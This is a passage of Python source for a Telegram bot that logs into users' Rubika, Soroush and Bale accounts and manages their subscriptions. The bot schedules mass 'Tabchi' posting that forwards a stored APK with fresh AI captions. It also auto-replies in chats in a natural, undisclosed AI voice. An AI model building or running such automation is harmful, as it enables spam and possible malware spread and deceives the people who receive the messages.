                        trx_sc("❌ " + reason) if en else "❌ " + reason,
                        reply_markup=IKB([[(trx_sc("❌ Cancel") if en else "❌ لغو", "cancel")]]),
                    )
                state.set(
                    uid,
                    "trx115_task_interval",
                    **{k:v for k,v in s.items() if k not in {"state", "at"}},
                    target=target,
                    resolved_target=str(resolved),
                )
                minimum = (
                    TRX115_MIN_CHANNEL_MINUTES
                    if s["task_kind"] == "channel"
                    else TRX115_MIN_TABCHI_MINUTES
                )
                prompt = (
                    trx_sc(
                        f"⏱ Send the interval in minutes. Minimum {minimum}. Example {minimum + 5}"
                    ) if en else
                    f"⏱ هر چند دقیقه یک بار اجرا شود\nحداقل {minimum} دقیقه است\nمثال: {minimum + 5}"
                )
                return await bot.send(
                    chat_id, prompt,
                    reply_markup=IKB([[(trx_sc("❌ Cancel") if en else "❌ لغو","cancel")]]),
                )

            if s and s.get("state") == "trx115_task_interval":
                digits = _trx115_normalize_digits(txt)
                if not digits.isdigit():
                    return await bot.send(
                        chat_id,
                        trx_sc("Please send only a number.") if en else "فقط عدد دقیقه را وارد کنید",
                    )
                minutes = int(digits)
                minimum = (
                    TRX115_MIN_CHANNEL_MINUTES
                    if s["task_kind"] == "channel"
                    else TRX115_MIN_TABCHI_MINUTES
                )
                if minutes < minimum:
                    return await bot.send(
                        chat_id,
                        trx_sc(f"Minimum is {minimum} minutes.") if en else f"حداقل زمان {minimum} دقیقه است",
                    )

                apk = _trx115_apk_for_account(uid, int(s["account_id"]))
                if not apk:
                    return await bot.send(
                        chat_id,
                        trx_sc("Set up a source APK before activating this schedule.") if en else
                        "اول در بخش تنظیم APK یک APK منبع ثبت کنید",
                    )

                preview = (
                    trx_sc(
                        f"🧾 Schedule preview\n\n"
                        f"Mode: {'Channel Activity' if s['task_kind']=='channel' else 'Tabchi'}\n"
                        f"Target: {s['target']}\n"
                        f"Account: #{s['account_id']}\n"
                        f"Interval: every {minutes} minutes\n"
                        f"Source: APK {apk['id']} • {apk['file_name']}\n\n"
                        "Every run sends the APK first and a new AI caption second.\n"
                        "Confirm this schedule?"
                    )
                    if en else
                    (
                        "🧾 **پیش‌نمایش زمان‌بندی**\n\n"
                        f"حالت: **{'فعالیت چنل' if s['task_kind']=='channel' else 'تبچی'}**\n"
                        f"هدف: `{s['target']}`\n"
                        f"اکانت: **#{s['account_id']}**\n"
                        f"فاصله: هر **{minutes} دقیقه**\n"
                        f"منبع: **APK {apk['id']} • {apk['file_name']}**\n\n"
                        "هر اجرا دو پیام دارد\n"
                        "اول APK منبع هدایت می‌شود و بعد متن تازه AI زیر آن قرار می‌گیرد\n\n"
                        "این زمان‌بندی را تایید می‌کنی؟"
                    )
                )
                state.set(
                    uid,
                    "trx115_task_confirm",
                    **{k:v for k,v in s.items() if k not in {"state", "at"}},
                    interval_seconds=minutes * 60,
                    apk_id=int(apk["id"]),
                )
                return await bot.send(
                    chat_id, preview,
                    IKB([
                        [
                            (trx_sc("✅ Confirm") if en else "✅ تایید", "trx115.task.confirm"),
                            (trx_sc("❌ Cancel") if en else "❌ لغو", "cancel"),
                        ]
                    ]),
                )

    except Exception as e:
        log.error(f"TRX115 v14 message-state error: {e}\n{traceback.format_exc(limit=40)}")

    return await _TRX115_ON_MSG_V14_BASE(msg)

# -------------------------------------------------------------------
# L) Final live AI: request-based APK forwarding in PV, natural replies
# -------------------------------------------------------------------
async def _trx115_event_handler_v14(event, uid, service, aid):
    try:
        client = ai_live_clients.get((uid, aid))
        if client and await _trx110_register_apk(uid, aid, service, client, event):
            return

        text_value = _trx_extract_event_text(event).strip()
        if not text_value or text_value.startswith("/trx"):
            return

        private = _trx_is_private_event(event)
        group = _trx_is_group_event(event)
        binding = db.fetchone(
            "SELECT * FROM ai_bindings WHERE user_id=? AND account_id=?",
            (uid, aid),
        )

        # User asks for an application/APK in PV:
        apk = _trx115_apk_for_account(uid, aid)
        if private and apk and _trx_apk_intent(text_value):
            target = await _trx_event_chat_id(event)
            ok, info = await _trx_forward_source_apk_v11(uid, aid, target, int(apk["id"]))
            if ok:
                desc_prompt = (
                    _trx_ai_system(uid, aid, "apk_request", TRX115_NATURAL_STYLE)
                    + "\nبعد از هدایت APK یک توضیح خیلی کوتاه، طبیعی و مشخص درباره همین برنامه بنویس"
                )
                desc = await ai.chat(
                    [
                        {"role": "system", "content": desc_prompt},
                        {"role": "user", "content": text_value[:1800]},
                    ],
                    uid=uid, account_id=aid, action_type="apk_request",
                    temperature=0.7, max_tokens=250,
                )
                if desc:
                    try:
                        await _trx115_send_caption_after_forward_v14(
                            client,
                            target,
                            _trx115_cleanup_caption(desc),
                            info,
                        )
                    except Exception:
                        pass
                log_account_activity(aid, uid, "apk_forward", str(target), 1)
                return

        if not binding or not binding["enabled"]:
            return
        if getattr(event, "is_me", False) or getattr(event, "out", False):
            return
        if private and not binding["auto_reply_pv"]:
            return
        if group and not binding["auto_reply_group"]:
            return
        if group and not (_trx_event_is_reply(event) or _trx_event_mentions_me(event)):
            return

        peer_key = _trx_peer_key(event, f"{service}:{aid}")
        memory = _trx_memory_load(uid, aid, peer_key, 16)
        prompt = (
            _trx_ai_system(uid, aid, "private_reply" if private else "group_reply", peer_key)
            + "\n"
            + TRX115_NATURAL_STYLE
            + "\nپاسخ را مستقیم بده و علائم نگارشی را طبیعی نگه دار"
        )
        messages = [{"role":"system","content":prompt}] + memory + [
            {"role":"user","content":text_value[:2500]}
        ]
        reply = await ai.chat(
            messages,
            uid=uid, account_id=aid,
            action_type="auto_reply",
            temperature=0.72,
            max_tokens=600,
        )
        if not reply:
            log.warning(f"AI returned empty reply for {service}/{aid} peer={peer_key}")
            return

        clean_reply = _trx115_cleanup_caption(reply)
        # Some clients (especially Rubika variants) expose an incoming event
        # without a usable event.reply/respond method.  Seen/read can therefore
        # succeed while the reply silently disappears.  Always fall back to the
        # live account client's send_message API using the event chat target.
        for method_name in ("reply", "respond"):
            fn = getattr(event, method_name, None)
            if not fn:
                continue
            try:
                await _trx_maybe_await(fn(clean_reply))
                _trx_memory_save(uid, aid, peer_key, "user", text_value)
                _trx_memory_save(uid, aid, peer_key, "assistant", reply)
                return
            except Exception as e:
                log.debug(f"event {method_name} failed {service}/{aid}: {e}")

        # Universal fallback for clients whose event object has no reply method.
        client = ai_live_clients.get((uid, aid))
        target = await _trx_event_chat_id(event)
        send = getattr(client, "send_message", None) if client else None
        if send and target is not None:
            try:
                await _trx_maybe_await(send(target, clean_reply))
                _trx_memory_save(uid, aid, peer_key, "user", text_value)
                _trx_memory_save(uid, aid, peer_key, "assistant", reply)
                log_account_activity(aid, uid, "ai_reply", str(peer_key)[:200], 1)
                return
            except Exception as e:
                log.error(f"send_message fallback failed {service}/{aid}: {e}")
    except Exception as e:
        log.error(f"TRX115 v14 live handler {service}/{aid}: {e}\n{traceback.format_exc(limit=40)}")

_trx_event_handler_v11 = _trx115_event_handler_v14
_trx_event_handler_v9 = _trx115_event_handler_v14



# ═══════════════════════════════════════════════════════════════════
# TRX115 FINAL PATCH v15 — subscription controls / isolated OTP /
# task reliability / 24h AI supervisor
#
# This layer is additive. Existing/core code remains intact; only the
# requested flows are intercepted here so a failure in one user/account
# cannot terminate the Telegram polling loop.
# ═══════════════════════════════════════════════════════════════════

TRX115_BUILD = "2026-09-23-final-v15"

# -------------------------------------------------------------------
# 1) Subscription admin: add with uid -> days -> max accounts
#    and subtract days from the currently active subscription.
# -------------------------------------------------------------------
TRX15_SUB_ADD_UID = "trx15_sub_add_uid"
TRX15_SUB_ADD_DAYS = "trx15_sub_add_days"
TRX15_SUB_ADD_ACCOUNTS = "trx15_sub_add_accounts"
TRX15_SUB_DEDUCT_UID = "trx15_sub_deduct_uid"
TRX15_SUB_DEDUCT_DAYS = "trx15_sub_deduct_days"

def _trx15_norm_digits(value):
    return str(value or "").translate(str.maketrans(
        "۰۱۲۳۴۵۶۷۸۹٠١٢٣٤٥٦٧٨٩", "01234567890123456789"
    ))

def _trx15_positive_int(value, minimum=1, maximum=10**9):
    raw = _trx15_norm_digits(value).strip()
    if not raw.isdigit():
        return None
    n = int(raw)
    if n < minimum or n > maximum:
        return None
    return n

def _trx15_sub_add(uid, days, accounts):
    if db is None:
        raise RuntimeError("database is not ready")
    days = int(days)
    accounts = int(accounts)
    if not (1 <= days <= MAX_DAYS):
        raise ValueError(f"days must be 1..{MAX_DAYS}")
    if not (1 <= accounts <= MAX_ACCOUNTS):
        raise ValueError(f"accounts must be 1..{MAX_ACCOUNTS}")

    # Ensure the target can use the panel even when the subscription was
    # granted before the user sent /start.
    ensure_user(uid)

    active = get_active_subscription(uid)
    base = datetime.utcnow()
    if active:
        try:
            current_exp = datetime.fromisoformat(active["expires_at"])
            if current_exp > base:
                base = current_exp
        except Exception:
            pass

        new_exp = base + timedelta(days=days)
        remaining_days = max(0, int((base - datetime.utcnow()).total_seconds() // 86400))
        total_days = remaining_days + days
        db.execute(
            "UPDATE subscriptions SET days=?, accounts=?, price=?, plan=?, "
            "expires_at=?, status='active' WHERE id=?",
            (
                total_days,
                accounts,
                total_days * PRICE_PER_DAY,
                f"{accounts}acc/{total_days}d",
                new_exp.isoformat(timespec="seconds"),
                active["id"],
            ),
        )
        action = "extended"
    else:
        new_exp = base + timedelta(days=days)
        db.execute(
            "INSERT INTO subscriptions(user_id,plan,accounts,days,price,status,created_at,expires_at) "
            "VALUES(?,?,?,?,?,?,?,?)",
            (
                uid,
                f"{accounts}acc/{days}d",
                accounts,
                days,
                days * PRICE_PER_DAY,
                "active",
                now(),
                new_exp.isoformat(timespec="seconds"),
            ),
        )
        action = "created"

    log_event(uid, "SUB_ADMIN_ADD", f"{days}d/{accounts}acc/{action}")
    return new_exp

def _trx15_sub_deduct(uid, days):
    active = get_active_subscription(uid)
    if not active:
        return False, "این کاربر اشتراک فعال ندارد."

    try:
        current_exp = datetime.fromisoformat(active["expires_at"])
    except Exception:
        return False, "تاریخ انقضای اشتراک معتبر نیست."

    new_exp = current_exp - timedelta(days=int(days))
    now_dt = datetime.utcnow()

    if new_exp <= now_dt:
        db.execute(
            "UPDATE subscriptions SET expires_at=?, status='expired' WHERE id=?",
            (now_dt.isoformat(timespec="seconds"), active["id"]),
        )
        log_event(uid, "SUB_ADMIN_DEDUCT", f"{days}d -> expired")
        return True, now_dt

    remaining_days = max(1, int((new_exp - now_dt).total_seconds() // 86400))
    db.execute(
        "UPDATE subscriptions SET expires_at=?, days=? WHERE id=?",
        (new_exp.isoformat(timespec="seconds"), remaining_days, active["id"]),
    )
    log_event(uid, "SUB_ADMIN_DEDUCT", f"{days}d -> remaining {remaining_days}d")
    return True, new_exp

def _trx15_subscription_menu(lang):
    return IKB([
        [("➕ افزودن اشتراک", "adm.sub.add", "success"),
         ("➖ کسر اشتراک", "adm.sub.deduct", "danger")],
        [("📋 مدیریت کاربران", "adm.users", "primary")],
        [(t(lang, "btn.back"), "admin", "primary")],
    ])

def _trx15_admin_users_menu(lang):
    # Preserve all current admin user-management routes and add the two
    # explicit subscription operations requested by the admin.
    return IKB([
        [("📋 لیست کاربران", "adm.users.list", "primary"),
         ("🚫 کاربران مسدود", "adm.users.banned", "danger")],
        [("➕ افزودن اشتراک", "adm.sub.add", "success"),
         ("➖ کسر اشتراک", "adm.sub.deduct", "danger")],
        [(t(lang, "btn.back"), "admin", "primary")],
    ])

admin_users_menu = _trx15_admin_users_menu

# -------------------------------------------------------------------
# 2) Subscription cap for new accounts.
# -------------------------------------------------------------------
def _trx15_account_limit(uid):
    sub = get_active_subscription(uid)
    if not sub:
        return 0
    try:
        return max(0, int(sub["accounts"] or 0))
    except Exception:
        return 0

def _trx15_active_account_count(uid):
    return int(db.fetchone(
        "SELECT COUNT(*) c FROM accounts WHERE user_id=? AND enabled=1",
        (uid,)
    )["c"])

# -------------------------------------------------------------------
# 3) Admin callbacks for add/deduct subscription.
# -------------------------------------------------------------------
_TRX15_ADMIN_DISPATCH_BEFORE = admin_dispatch

async def admin_dispatch(cb_id, uid, lang, chat_id, msg_id, data):
    try:
        if not is_admin(uid):
            return await _edit(
                chat_id, msg_id,
                t(lang, "no_access"),
                back_home(lang),
            )

        if data == "adm.sub":
            return await _edit(
                chat_id, msg_id,
                "💳 **مدیریت اشتراک**\n\n"
                "از اینجا می‌توانی اشتراک یک کاربر را اضافه یا از مدت آن کم کنی",
                _trx15_subscription_menu(lang),
            )

        if data == "adm.users":
            # Keep the original user panel but expose the new controls directly.
            return await _edit(
                chat_id, msg_id,
                "👥 **مدیریت کاربران**\n\n"
                "از این بخش کاربر را ببین یا اشتراک او را اضافه/کم کن",
                _trx15_admin_users_menu(lang),
            )

        if data == "adm.sub.add":
            state.set(uid, TRX15_SUB_ADD_UID)
            return await _edit(
                chat_id, msg_id,
                "➕ **افزودن اشتراک**\n\n"
                "اول آیدی عددی کاربر را بفرست\n"
                "مثال: `123456789`",
                IKB([[("❌ لغو", "cancel", "danger")]]),
            )

        if data == "adm.sub.deduct":
            state.set(uid, TRX15_SUB_DEDUCT_UID)
            return await _edit(
                chat_id, msg_id,
                "➖ **کسر اشتراک**\n\n"
                "اول آیدی عددی کاربر را بفرست\n"
                "مثال: `123456789`",
                IKB([[("❌ لغو", "cancel", "danger")]]),
            )

    except Exception as e:
        log.error(f"TRX15 admin subscription route: {e}\n{traceback.format_exc(limit=40)}")
        return await _edit(
            chat_id, msg_id,
            "❌ خطا در بخش اشتراک. عملیات قبلی کاربران تغییر نکرده است.",
            _trx15_admin_users_menu(lang),
        )

    return await _TRX15_ADMIN_DISPATCH_BEFORE(cb_id, uid, lang, chat_id, msg_id, data)

# -------------------------------------------------------------------
# 4) Account add guard.
# -------------------------------------------------------------------
_TRX15_DISPATCH_BEFORE = dispatch_cb

async def dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, data):
    try:
        # Account capacity: explicit active subscription limit.
        if data.startswith("acc.add.svc:") or data.startswith("acc.svc:"):
            if not is_admin(uid):
                limit = _trx15_account_limit(uid)
                active_count = _trx15_active_account_count(uid)
                if limit <= 0:
                    return await _edit(
                        chat_id, msg_id,
                        "🔒 **اشتراک فعال ندارید**\n\nابتدا اشتراک فعال تهیه کنید",
                        _sub_kb_v2(lang),
                    )
                if data.startswith("acc.add.svc:") and active_count >= limit:
                    return await _edit(
                        chat_id, msg_id,
                        f"⛔️ **ظرفیت اکانت تکمیل است**\n\n"
                        f"اکانت فعال: **{active_count}**\n"
                        f"حداکثر مجاز: **{limit}**\n\n"
                        f"برای افزایش ظرفیت با ادمین تماس بگیرید",
                        IKB([[(f"🆘 پشتیبانی {ADMIN_USERNAME}", "set.support", "success")],
                             [(t(lang, "btn.back"), "acc", "primary")]]),
                    )
    except Exception as e:
        log.warning(f"TRX15 account cap guard: {e}")

    # Route new admin controls before old wrappers so they cannot be swallowed
    # by a legacy admin screen.
    if is_admin(uid) and data.startswith("adm."):
        if data in {"adm.sub.add", "adm.sub.deduct", "adm.sub", "adm.users"}:
            return await admin_dispatch(cb_id, uid, lang, chat_id, msg_id, data)
    return await _TRX15_DISPATCH_BEFORE(cb_id, uid, lang, u, chat_id, msg_id, data)

# -------------------------------------------------------------------
# 5) Isolated, time-bounded Rubika OTP.
# -------------------------------------------------------------------
def _trx15_rubika_error(exc):
    s = _mask(str(exc or "خطای نامشخص"))
    s = re.sub(r"\s+", " ", s).strip()
    return s[:500] or "خطای نامشخص"

async def rubika_send_code_v15(uid: int, phone: str) -> Tuple[bool, Any]:
    number = _trx_phone_98digits(phone)
    errors = []

    # Attempt order follows the currently published rulog example:
    # Android first, then Web, with a completely new client per attempt.
    try:
        mod = _trx_import_or_install("rulog", "rulog>=1.0.3")
        RulogClient = getattr(mod, "Client", None)
        if RulogClient:
            for platform, kwargs in (("android", {"send_type": True}), ("web", {})):
                rc = None
                try:
                    rc = RulogClient()
                    fn = getattr(rc, "sendCode", None)
                    if not fn:
                        raise RuntimeError("rulog.Client.sendCode is unavailable")

                    response = await asyncio.wait_for(
                        asyncio.to_thread(fn, platform, number, **kwargs),
                        timeout=28,
                    )
                    phone_hash = _trx115_extract_hash_final(response)
                    if phone_hash:
                        active_clients[uid] = {
                            "client": None,
                            "rulog": rc,
                            "service": "rubika",
                            "phone": number,
                            "phone_input": phone,
                            "hash": str(phone_hash),
                            "otp_platform": platform,
                            "backend": "rulog_v15",
                            "created_at": time.time(),
                            "connected": False,
                        }
                        return True, response
                    errors.append(f"{platform}: پاسخ بدون phone_code_hash")
                except asyncio.TimeoutError:
                    errors.append(f"{platform}: timeout")
                except OSError as e:
                    errors.append(f"{platform}: OSError({getattr(e, 'errno', '?')})")
                except Exception as e:
                    errors.append(f"{platform}: {_trx15_rubika_error(e)}")
    except Exception as e:
        errors.append(f"rulog: {_trx15_rubika_error(e)}")

    # Direct HTTPS legacy fallback. Every request has a bounded timeout and
    # its exceptions are local to this account.
    try:
        response = await asyncio.wait_for(
            _trx115_rubika_http_final({
                "api_version": "3",
                "method": "sendCode",
                "data": {
                    "phone_number": number,
                    "send_type": "SMS",
                },
            }, timeout=18),
            timeout=22,
        )
        phone_hash = _trx115_extract_hash_final(response)
        if phone_hash and _trx115_rubika_status_ok(response):
            active_clients[uid] = {
                "client": None,
                "rulog": None,
                "service": "rubika",
                "phone": number,
                "phone_input": phone,
                "hash": str(phone_hash),
                "otp_platform": "legacy",
                "backend": "legacy_v15",
                "created_at": time.time(),
                "connected": False,
            }
            return True, response
        errors.append("HTTPS: پاسخ ناموفق یا بدون hash")
    except asyncio.TimeoutError:
        errors.append("HTTPS: timeout")
    except Exception as e:
        errors.append(f"HTTPS: {_trx15_rubika_error(e)}")

    # Final non-interactive rubpy attempt, only if the installed release
    # exposes a native send_code method. We NEVER call interactive start().
    try:
        from rubpy import Client as RubpyClient
        session_name = os.path.join(SESS_DIR, f"rubika_otp_{uid}_{int(time.time())}")
        client = RubpyClient(session_name, display_welcome=False, platform="Android")
        fn = getattr(client, "send_code", None)
        if fn:
            response = await asyncio.wait_for(
                _trx_maybe_await(fn(number)),
                timeout=24,
            )
            phone_hash = _trx115_extract_hash_final(response)
            if phone_hash:
                active_clients[uid] = {
                    "client": client,
                    "rulog": None,
                    "service": "rubika",
                    "phone": number,
                    "phone_input": phone,
                    "hash": str(phone_hash),
                    "otp_platform": "Android",
                    "backend": "rubpy_v15",
                    "created_at": time.time(),
                    "connected": False,
                }
                return True, response
        else:
            errors.append("rubpy: send_code در نسخه نصب‌شده وجود ندارد")
    except asyncio.TimeoutError:
        errors.append("rubpy: timeout")
    except Exception as e:
        errors.append(f"rubpy: {_trx15_rubika_error(e)}")

    # Important: clear only this user's pending OTP state/client.
    try:
        info = active_clients.get(uid)
        if info and info.get("service") == "rubika" and not info.get("connected"):
            active_clients.pop(uid, None)
    except Exception:
        pass

    detail = " | ".join(errors)[:1200]
    return False, (
        "ارسال کد روبیکا انجام نشد. "
        "این تلاش فقط روی همین حساب متوقف شد و ربات برای بقیه کاربران فعال می‌ماند.\n"
        + detail
    )

async def rubika_verify_v15(uid: int, code: str) -> Tuple[bool, Any]:
    try:
        code = _trx15_norm_digits(code).strip()
        if not code.isdigit() or not (4 <= len(code) <= 8):
            return False, "کد ورود روبیکا باید فقط عدد ۴ تا ۸ رقمی باشد"

        # Use the stable v14 verifier which already keeps the matching
        # platform/hash pairing; isolate it with a hard timeout.
        result = await asyncio.wait_for(
            rubika_verify_v14(uid, code),
            timeout=60,
        )
        return result
    except asyncio.TimeoutError:
        log.warning(f"[{uid}] Rubika verify timeout")
        return False, "ورود روبیکا بیش از حد طول کشید؛ دوباره کد را وارد کنید"
    except asyncio.CancelledError:
        raise
    except Exception as e:
        log.error(f"[{uid}] Rubika verify isolated error: {e}\n{traceback.format_exc(limit=40)}")
        return False, f"ورود روبیکا ناموفق بود: {_trx15_rubika_error(e)}"

# Keep the OTP state wrapper, but replace only the Rubika send/verify pair.
SERVICE_HANDLERS["rubika"] = {
    "send": _wrap_otp_handler("rubika", rubika_send_code_v15),
    "verify": rubika_verify_v15,
}

# -------------------------------------------------------------------
# 6) Add subscription flow + account OTP error isolation.
# -------------------------------------------------------------------
_TRX15_ON_MSG_BEFORE = on_msg

async def _trx15_post_login_ai(uid, service):
    try:
        row = db.fetchone(
            "SELECT * FROM accounts WHERE user_id=? AND service=? ORDER BY id DESC LIMIT 1",
            (uid, service),
        )
        if not row:
            return
        aid = int(row["id"])

        # Auto-enable AI for newly authenticated accounts so the account does
        # not need a second manual attachment step.
        db.execute(
            "INSERT OR IGNORE INTO ai_bindings("
            "user_id,account_id,enabled,auto_reply_pv,auto_reply_group,created_at,updated_at"
            ") VALUES(?,?,?,?,?,?,?)",
            (uid, aid, 1, 1, 1, now(), now()),
        )
        db.execute(
            "UPDATE ai_bindings SET enabled=1,auto_reply_pv=1,auto_reply_group=1,updated_at=? "
            "WHERE user_id=? AND account_id=?",
            (now(), uid, aid),
        )

        client = ai_live_clients.get((uid, aid))
        if client:
            try:
                _register_ai_handler(client, uid, service, aid)
            except Exception as e:
                log.warning(f"AI handler post-login {service}/{aid}: {e}")

        await _trx15_start_supervisor(uid, aid)
    except Exception as e:
        # AI failure must NEVER invalidate a successful account login.
        log.warning(f"AI post-login setup skipped for {service}/{uid}: {e}")

async def _trx15_account_verify_wrapper(uid, code, service, original_verify):
    try:
        ok, info = await original_verify(uid, code)
        if ok:
            await _trx15_post_login_ai(uid, service)
        return ok, info
    except asyncio.CancelledError:
        raise
    except Exception as e:
        log.error(f"isolated verify wrapper {service}/{uid}: {e}\n{traceback.format_exc(limit=40)}")
        return False, f"ورود {service} ناموفق بود: {_mask(str(e))[:400]}"

_SERVICE_VERIFY_ORIGINAL_V15 = {
    svc: SERVICE_HANDLERS[svc]["verify"]
    for svc in ("soroush", "rubika", "bale")
}
for _svc_name, _verify_fn in list(_SERVICE_VERIFY_ORIGINAL_V15.items()):
    SERVICE_HANDLERS[_svc_name]["verify"] = (
        lambda fn=_verify_fn, svc=_svc_name:
        (lambda uid, code: _trx15_account_verify_wrapper(uid, code, svc, fn))
    )()

async def on_msg(msg):
    try:
        from_ = msg.get("from", {}) or {}
        uid = from_.get("id")
        chat_id = msg.get("chat", {}).get("id")
        if uid:
            u = ensure_user(uid, from_.get("username", ""), from_.get("first_name", ""))
            lang = u["lang"] or "fa"
            txt = (msg.get("text") or "").strip()
            s = state.get(uid)

            # ----- Admin: add subscription, step 1 -----
            if is_admin(uid) and s and s.get("state") == TRX15_SUB_ADD_UID:
                target_uid = _trx15_positive_int(txt, 1, 10**13)
                if target_uid is None:
                    return await bot.send(
                        chat_id,
                        "❌ آیدی عددی معتبر بفرست\nمثال: `123456789`",
                        IKB([[("❌ لغو", "cancel", "danger")]]),
                    )
                state.set(uid, TRX15_SUB_ADD_DAYS, target_uid=target_uid)
                return await bot.send(
                    chat_id,
                    f"👤 کاربر: `{target_uid}`\n\n"
                    "📅 حالا تعداد **روز اشتراک** را بفرست\n"
                    f"حداکثر: {MAX_DAYS} روز",
                    IKB([[("❌ لغو", "cancel", "danger")]]),
                )

            # ----- Admin: add subscription, step 2 -----
            if is_admin(uid) and s and s.get("state") == TRX15_SUB_ADD_DAYS:
                days = _trx15_positive_int(txt, 1, MAX_DAYS)
                if days is None:
                    return await bot.send(
                        chat_id,
                        f"❌ تعداد روز باید بین ۱ تا {MAX_DAYS} باشد",
                    )
                state.set(
                    uid,
                    TRX15_SUB_ADD_ACCOUNTS,
                    target_uid=int(s["target_uid"]),
                    days=days,
                )
                return await bot.send(
                    chat_id,
                    f"📅 مدت: **{days} روز**\n\n"
                    "📱 حالا **حداکثر تعداد اکانت مجاز** را بفرست\n"
                    f"حداکثر سیستم: {MAX_ACCOUNTS} اکانت",
                    IKB([[("❌ لغو", "cancel", "danger")]]),
                )

            # ----- Admin: add subscription, step 3 -----
            if is_admin(uid) and s and s.get("state") == TRX15_SUB_ADD_ACCOUNTS:
                accounts = _trx15_positive_int(txt, 1, MAX_ACCOUNTS)
                if accounts is None:
                    return await bot.send(
                        chat_id,
                        f"❌ تعداد اکانت باید بین ۱ تا {MAX_ACCOUNTS} باشد",
                    )

                target_uid = int(s["target_uid"])
                days = int(s["days"])
                try:
                    expires = _trx15_sub_add(target_uid, days, accounts)
                    state.pop(uid)
                    return await bot.send(
                        chat_id,
                        "✅ **اشتراک با موفقیت اعمال شد**\n\n"
                        f"👤 کاربر: `{target_uid}`\n"
                        f"📅 مدت افزوده‌شده: **{days} روز**\n"
                        f"📱 حداکثر اکانت مجاز: **{accounts}**\n"
                        f"⏰ انقضا: `{expires.date().isoformat()}`",
                        _trx15_admin_users_menu(lang),
                    )
                except Exception as e:
                    log.error(f"TRX15 add subscription: {e}\n{traceback.format_exc(limit=40)}")
                    state.pop(uid)
                    return await bot.send(
                        chat_id,
                        f"❌ اشتراک اعمال نشد: {_mask(str(e))[:400]}",
                        _trx15_admin_users_menu(lang),
                    )

            # ----- Admin: deduct subscription, step 1 -----
            if is_admin(uid) and s and s.get("state") == TRX15_SUB_DEDUCT_UID:
                target_uid = _trx15_positive_int(txt, 1, 10**13)
                if target_uid is None:
                    return await bot.send(
                        chat_id,
                        "❌ آیدی عددی معتبر بفرست\nمثال: `123456789`",
                        IKB([[("❌ لغو", "cancel", "danger")]]),
                    )
                state.set(uid, TRX15_SUB_DEDUCT_DAYS, target_uid=target_uid)
                return await bot.send(
                    chat_id,
                    f"👤 کاربر: `{target_uid}`\n\n"
                    "📅 چند **روز از اشتراک کم شود**؟",
                    IKB([[("❌ لغو", "cancel", "danger")]]),
                )

            # ----- Admin: deduct subscription, step 2 -----
            if is_admin(uid) and s and s.get("state") == TRX15_SUB_DEDUCT_DAYS:
                days = _trx15_positive_int(txt, 1, MAX_DAYS)
                if days is None:
                    return await bot.send(
                        chat_id,
                        f"❌ تعداد روز باید بین ۱ تا {MAX_DAYS} باشد",
                    )
                target_uid = int(s["target_uid"])
                try:
                    ok, value = _trx15_sub_deduct(target_uid, days)
                    state.pop(uid)
                    if not ok:
                        return await bot.send(
                            chat_id,
                            f"❌ {value}",
                            _trx15_admin_users_menu(lang),
                        )
                    return await bot.send(
                        chat_id,
                        "✅ **کسر اشتراک انجام شد**\n\n"
                        f"👤 کاربر: `{target_uid}`\n"
                        f"➖ مقدار کسرشده: **{days} روز**\n"
                        f"⏰ انقضای جدید: `{value.date().isoformat()}`",
                        _trx15_admin_users_menu(lang),
                    )
                except Exception as e:
                    log.error(f"TRX15 deduct subscription: {e}\n{traceback.format_exc(limit=40)}")
                    state.pop(uid)
                    return await bot.send(
                        chat_id,
                        f"❌ عملیات کسر انجام نشد: {_mask(str(e))[:400]}",
                        _trx15_admin_users_menu(lang),
                    )

            # ----- Any OTP step: keep failure local to this user -----
            if s and s.get("state") == State.ADD_ACC_PHONE:
                phone = txt
                if phone:
                    try:
                        return await _TRX15_ON_MSG_BEFORE(msg)
                    except asyncio.CancelledError:
                        raise
                    except Exception as e:
                        state.pop(uid)
                        active_clients.pop(uid, None)
                        log.error(f"isolated account phone step {uid}: {e}\n{traceback.format_exc(limit=40)}")
                        return await bot.send(
                            chat_id,
                            "❌ افزودن حساب انجام نشد اما ربات برای بقیه کاربران فعال است\n"
                            f"خطا: {_mask(str(e))[:350]}",
                            main_menu(lang, uid),
                        )

            if s and s.get("state") == State.ADD_ACC_OTP:
                try:
                    return await _TRX15_ON_MSG_BEFORE(msg)
                except asyncio.CancelledError:
                    raise
                except Exception as e:
                    log.error(f"isolated account OTP step {uid}: {e}\n{traceback.format_exc(limit=40)}")
                    return await bot.send(
                        chat_id,
                        "❌ این تلاش ورود با خطا مواجه شد\n"
                        f"جزئیات: {_mask(str(e))[:350]}\n\n"
                        "می‌توانی کد را دوباره وارد کنی یا لغو را بزنی",
                        IKB([[("❌ لغو", "cancel", "danger")]]),
                    )
    except asyncio.CancelledError:
        raise
    except Exception as e:
        # Last-resort per-update isolation. Do not let a malformed account
        # message escape to the polling loop.
        log.error(f"TRX15 on_msg outer isolation: {e}\n{traceback.format_exc(limit=40)}")
        try:
            if uid and chat_id:
                await bot.send(chat_id, "⚠️ این پیام قابل پردازش نبود؛ ربات برای بقیه کاربران فعال است")
        except Exception:
            pass

    return await _TRX15_ON_MSG_BEFORE(msg)

# -------------------------------------------------------------------
# 7) 24/7 AI supervisor.
#    A single broken account is restarted independently and never stops
#    the main polling loop.
# -------------------------------------------------------------------
_TRX15_SUPERVISORS = {}
_TRX15_SCHEDULER_TASK = None

async def _trx15_start_supervisor(uid, aid):
    key = (int(uid), int(aid))
    old = _TRX15_SUPERVISORS.get(key)
    if old and not old.done():
        return old

    task = _trx_task_create(_trx15_ai_supervisor(uid, aid))
    if task:
        _TRX15_SUPERVISORS[key] = task
    return task

async def _trx15_ai_supervisor(uid, aid):
    key = (int(uid), int(aid))
    while True:
        try:
            row = db.fetchone(
                "SELECT b.enabled AS bind_enabled,a.enabled,a.service,a.phone "
                "FROM ai_bindings b JOIN accounts a ON a.id=b.account_id "
                "WHERE b.user_id=? AND b.account_id=?",
                (uid, aid),
            )
            if not row or not row["enabled"] or not row["bind_enabled"]:
                return

            client = ai_live_clients.get(key)
            if client is None:
                client = await _ensure_ai_client(uid, aid)
                if client:
                    try:
                        _register_ai_handler(client, uid, row["service"], aid)
                    except Exception:
                        pass
            else:
                # Best-effort health probe. If a client has no get_me/read probe,
                # simply keep its event runner alive.
                health_ok = True
                for meth in ("get_me", "get_current_user"):
                    fn = getattr(client, meth, None)
                    if not fn:
                        continue
                    try:
                        await asyncio.wait_for(_trx_maybe_await(fn()), timeout=12)
                    except Exception:
                        health_ok = False
                    break
                if not health_ok:
                    try:
                        ai_live_clients.pop(key, None)
                        await _trx_restore_one_account(uid, aid)
                        client = ai_live_clients.get(key)
                        if client:
